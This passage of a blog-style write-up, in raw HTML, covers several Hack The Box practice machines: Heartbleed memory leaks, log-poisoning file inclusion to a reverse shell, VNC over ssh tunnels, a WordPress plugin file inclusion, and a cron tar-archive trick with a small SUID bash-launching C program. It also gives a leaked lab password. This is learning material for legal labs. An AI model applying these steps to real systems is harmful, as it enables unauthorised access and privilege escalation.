memory&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# (it reads the memory region where our message is supposedly stored) and sends that read message back.&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# Because we didn&amp;rsquo;t send any message at all&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# (we just told that we sent FF FF bytes, but no message was sent after that)&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# when OpenSSL receives our message, it won&amp;rsquo;t overwrite any of OpenSSL&amp;rsquo;s memory.&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# Because of that, the received message will contain X bytes of actual OpenSSL memory.&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;This explains it in great detail and makes the basic logic clear. We tell the server how many bytes we sent, but in reality we did not send them. It still returns that many bytes, and because we sent no actual information, it returns private information from the server&amp;rsquo;s memory instead.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0048.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;kali includes several scripts, so I tested one of them.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0049.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I read through the script. It was very easy to use and even allowed a custom port.&lt;/p&gt;&#10;&lt;p&gt;I restarted the target, mainly because I had run nmap and the directory brute-forcing tools so much that all the important information had disappeared. I stared at it for ages, and every ua header was from nmap.&lt;/p&gt;&#10;&lt;p&gt;After looping several times and still finding nothing, I wrote a script and eventually found the important text.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0050.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0051.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0052.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It decodes to heartbleedbelied&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0053.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Another new problem. Let&amp;rsquo;s check google.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0054.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0055.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Finally got a foothold. Time to escalate privileges.&lt;/p&gt;&#10;&lt;p&gt;The first thing was still to check sudo for conventional privilege escalation, but without the password I could not use it. I started exploring files, first uploading LinEnum.sh and pspy.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0056.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;While exploring, I found that this linux version was very old and had a corresponding vulnerability, so I started trying the exp.&lt;/p&gt;&#10;&lt;p&gt;ubuntu 12.04&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0057.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found many exp, but none of them worked.&lt;/p&gt;&#10;&lt;p&gt;So I started exploring files. The command history contained many interesting things.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0058.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;tmux -S /.devs/dev_sess&lt;/p&gt;&#10;&lt;p&gt;I ran it and immediately escalated to root.&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s understand why.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0059.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This file was assigned to the hype group and given read and write permissions, so the socket file could be used directly for communication.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0060.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was actually visible here too.&lt;/p&gt;&#10;&lt;p&gt;The official difficulty was easy, but it felt closer to medium for me, mainly because I did not think of using Nmap.&lt;/p&gt;&#10;&lt;h2 id="6poison"&gt;&lt;a href="#6poison" class="header-anchor"&gt;&lt;/a&gt;6.Poison&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0061.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was a file inclusion point on port 80.&lt;/p&gt;&#10;&lt;p&gt;There was a lot to exploit here. First, it allowed arbitrary file reads. There was also phpinfo information, and another file exposed a password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0062.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0063.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0064.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;With both the username and password, the login succeeded.&lt;/p&gt;&#10;&lt;p&gt;Going back to the file inclusion issue, remote code execution had been disabled.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0065.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;However, php code could still be written into the log, and including the log could also launch a reverse shell.&lt;/p&gt;&#10;&lt;p&gt;But that user&amp;rsquo;s privileges seemed too limited.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0066.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0067.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s log in directly here.&lt;/p&gt;&#10;&lt;p&gt;I went through everything and saw something interesting: the user&amp;rsquo;s shell was cshell. There was also a secret.zip file that required a password.&lt;/p&gt;&#10;&lt;p&gt;Transfer it to kali with nc and run john against rockyou.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0068.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0069.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It did not crack the password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0070.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It turned out that the password was simply the login password: Charix!2#4%6&amp;amp;8(0&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0071.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing in it. I did not understand what it was, but I could confirm that it was a binary file.&lt;/p&gt;&#10;&lt;p&gt;Upload the scripts and start collecting interesting findings.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0072.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Scheduled task: root runs /usr/libexec/atrun once every 5 minutes.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0073.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing in this configuration file either.&lt;/p&gt;&#10;&lt;p&gt;At this point I found that there were no conventional privilege-escalation paths at all, so I checked the kernel.&lt;/p&gt;&#10;&lt;p&gt;The kernel did not have any useful vulnerabilities either.&lt;/p&gt;&#10;&lt;p&gt;I could only read write-ups. Every one I checked used vnc for privilege escalation. Once I knew the entry point, I started exploring.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0074.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0075.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0076.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;vnc was indeed running, but why exploit vnc? My understanding was that there must be some vnc credentials to find. vnc was currently hosted locally, so port forwarding was required.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0077.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Disabling the firewall did not help because it was bound to 127.0.0.1.&lt;/p&gt;&#10;&lt;p&gt;Since ssh was accessible, use ssh directly for the forwarding.&lt;/p&gt;&#10;&lt;p&gt;ssh tunnel: &lt;a class="link" href="https://wangdoc.com/ssh/port-forwarding" target="_blank" rel="noopener"&#10; &gt;https://wangdoc.com/ssh/port-forwarding&lt;/a&gt;, &lt;a class="link" href="https://harttle.land/2022/05/02/ssh-port-forwarding.html" target="_blank" rel="noopener"&#10; &gt;https://harttle.land/2022/05/02/ssh-port-forwarding.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;ssh -L 8081:localhost:5901 &lt;a class="link" href="mailto:charix@10.10.10.84" &gt;charix@10.10.10.84&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;After setting up the tunnel, use the file extracted earlier.&lt;/p&gt;&#10;&lt;p&gt;vncviewer -passwd secret 127.0.0.1:5901&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0078.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was the vnc password file.&lt;/p&gt;&#10;&lt;p&gt;It can also be decrypted with &lt;a class="link" href="https://github.com/jeroennijhof/vncpwd" target="_blank" rel="noopener"&#10; &gt;https://github.com/jeroennijhof/vncpwd&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0079.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That completes it. The later machines get increasingly difficult, so the main goal is to learn the approach. Port forwarding does not have to use ssh; ssh is simply very convenient.&lt;/p&gt;&#10;&lt;p&gt;Looking back at a write-up, I also found something I had missed: a phpinfo race condition.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/vulhub/vulhub/tree/master/php/inclusion" target="_blank" rel="noopener"&#10; &gt;https://github.com/vulhub/vulhub/tree/master/php/inclusion&lt;/a&gt;&lt;/p&gt;&#10;&lt;h2 id="7tartarsauce"&gt;&lt;a href="#7tartarsauce" class="header-anchor"&gt;&lt;/a&gt;7.TartarSauce&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;Only port 80 was open, so I will not include an image.&lt;/p&gt;&#10;&lt;p&gt;I am filling this in later, so some of the configuration may look a little strange.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0080.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing on this page. Later, robots and directory brute-forcing revealed several locations.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.88/webservices/monstra-3.0.4/admin/i" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.88/webservices/monstra-3.0.4/admin/&lt;/a&gt; weak credentials admin/admin&lt;/p&gt;&#10;&lt;p&gt;However, it prevented files from being modified, so no files could be uploaded. None of the exp I found worked. I wasted a great deal of time here before realizing it was a Rabbit Hole.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0081.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I checked gobuster and found another directory mentioned in a write-up.&lt;/p&gt;&#10;&lt;p&gt;This was wordpress. I found a wpadmin user, but could not crack the password.&lt;/p&gt;&#10;&lt;p&gt;My notes here were sparse, but this route really did work, so I recorded it. I ran into many misconceptions while working through it and kept searching.&lt;/p&gt;&#10;&lt;p&gt;In the end, I could not make any progress through wordpress and checked a write-up. My wpscan could not find the vulnerable point at all, and neither could the nmap scripts. Only after adding threads to wpscan could it finish in 20 minutes. It was far too slow. Moving on.&lt;/p&gt;&#10;&lt;p&gt;At this point I was completely stuck and had no choice but to check the next step in a write-up. The key was that the gwolle-gb plugin had a remote file inclusion vulnerability that provided a foothold. In most write-ups, this was found by adding &amp;ndash;plugins-detection aggressive to wpscan for a comprehensive scan. It took 3 hours when I ran it; adding threads later reduced that to 20 minutes.&lt;/p&gt;&#10;&lt;p&gt;wpscan &amp;ndash;url &lt;a class="link" href="http://10.10.10.88:80/webservices/wp" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.88:80/webservices/wp&lt;/a&gt; -e ap &amp;ndash;plugins-detection aggressive -t 50&lt;/p&gt;&#10;&lt;p&gt;nmap&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://nmap.org/nsedoc/scripts/http-wordpress-enum.html" target="_blank" rel="noopener"&#10; &gt;https://nmap.org/nsedoc/scripts/http-wordpress-enum.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://nosec.org/home/detail/2844.html" target="_blank" rel="noopener"&#10; &gt;https://nosec.org/home/detail/2844.html&lt;/a&gt;&#9;#collect plugins&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0082.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This also returned results. Check the plugins one by one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0083.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found the key point and completed the attack chain. Next, find an exp.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0084.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Just concatenate the path and host a reverse-shell script.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0085.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0086.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;According to the description and what I encountered myself, the URL appends wp-load.php to the end.&lt;/p&gt;&#10;&lt;p&gt;Just construct the filename.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0087.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0088.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0089.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Start privilege escalation by gathering information.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0090.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0091.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0092.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0093.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0094.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0095.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After some basic collection, the information strongly suggested using sudo tar to pivot to onuma.&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s try it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0096.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0097.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Create a tty.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0098.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0099.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Run the script again to gather information.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0100.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0101.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0102.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0103.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I used find on the .nano history but found nothing.&lt;/p&gt;&#10;&lt;p&gt;Based on the mysql history, I tried connecting to the database, but unfortunately the connection failed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0104.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;However, pspy helped me find something interesting.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0105.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was exactly the same as the entry in the mysql history.&lt;/p&gt;&#10;&lt;p&gt;I looked it up.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0106.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Clearly, all of the entries above were scheduled tasks, but my permissions were insufficient, so they were not shown to me.&lt;/p&gt;&#10;&lt;p&gt;(After finishing and reading a write-up, I learned that locate can show how often it runs. find can as well, of course, but I did not think of it at the time. At least the direction was correct.)&lt;/p&gt;&#10;&lt;p&gt;The assigned permissions prevented me from finding it. Let&amp;rsquo;s inspect its contents.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0107.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I read through all of it. Every variable was hard-coded and could not be substituted.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0108.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;In other words, it moves this backup file into the directory in the $tmpfile variable with root privileges. We need to forge the archive at $tmpfile.&lt;/p&gt;&#10;&lt;p&gt;There is no race-condition issue because it waits for 30 seconds.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0109.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;According to the variable description, it needs to compare:&lt;/p&gt;&#10;&lt;p&gt;/var/www/html&lt;/p&gt;&#10;&lt;p&gt;/var/tmp/var/www/html&lt;/p&gt;&#10;&lt;p&gt;If they differ it returns 1 and reports an error; if they match it returns 0.&lt;/p&gt;&#10;&lt;p&gt;What we need to do is actually very simple.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0110.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0111.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;tmp can be changed freely. Write a file and replace the archived tmp file; the tmpfile variable is /var/tmp.&lt;/p&gt;&#10;&lt;p&gt;There are many files below it. Watch the processes with pspy and replace the file as soon as it runs.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0112.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Write the bash script. If everything is correct, granting it execute permissions and running it will launch a reverse shell. Writing su root may also work.&lt;/p&gt;&#10;&lt;p&gt;Package it as a file. Based on the basedir directory structure, it should contain /var/www/html.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0113.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Package it as 111.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0114.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0115.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Replace it as soon as it appears. It successfully triggers check.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0116.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But the permissions on 1.sh were still onuma&amp;rsquo;s, and after extraction it became a binary file. Everything was gone.&lt;/p&gt;&#10;&lt;p&gt;There were major problems with this step. First, the contents were corrupted into binary gibberish, and second, the permissions were wrong.&lt;/p&gt;&#10;&lt;p&gt;linux has a useful behavior: if I set its permissions on kali, package it, and send it to the target, it retains the permissions from kali when extracted on the target.&lt;/p&gt;&#10;&lt;p&gt;So I packaged a bash file with rwsr-sr-x permissions and uploaded it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0117.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The permissions were correct on the target, but execution still failed. After looking it up, I learned that:&lt;/p&gt;&#10;&lt;p&gt;On Unix/Linux systems, SUID (set user ID) may behave differently for binary executables and scripts. Many modern Linux distributions place additional security restrictions on SUID scripts to prevent potential security risks. This means that even with SUID set, a script may still fail to execute as expected and instead run as an ordinary user.&lt;/p&gt;&#10;&lt;p&gt;Sometimes suid or sudo can be used directly for privilege escalation, but that clearly did not work here.&lt;/p&gt;&#10;&lt;p&gt;So sudo was still required to execute it. In other words, a binary can work without sudo, but a bash script like this still needs sudo.&lt;/p&gt;&#10;&lt;p&gt;I had to upload a binary file here.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;```c&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#include &amp;amp;lt;unistd.h&amp;amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;void main() {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;execl(&amp;#34;/bin/bash&amp;#34;, &amp;#34;bash&amp;#34;, &amp;#34;-p&amp;#34;, NULL);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;```text&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The target machine was 32-bit.&lt;/p&gt;&#10;&lt;p&gt;gcc 1.c -o 1 -m32&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0118.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Package it and upload it to the target machine.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0119.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It still reported an error. This was getting ridiculous.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0120.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;gcc -static -m32 -o 1 1.c&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0121.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That finally completed it. Interestingly, I saw a write-up with a very good approach.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 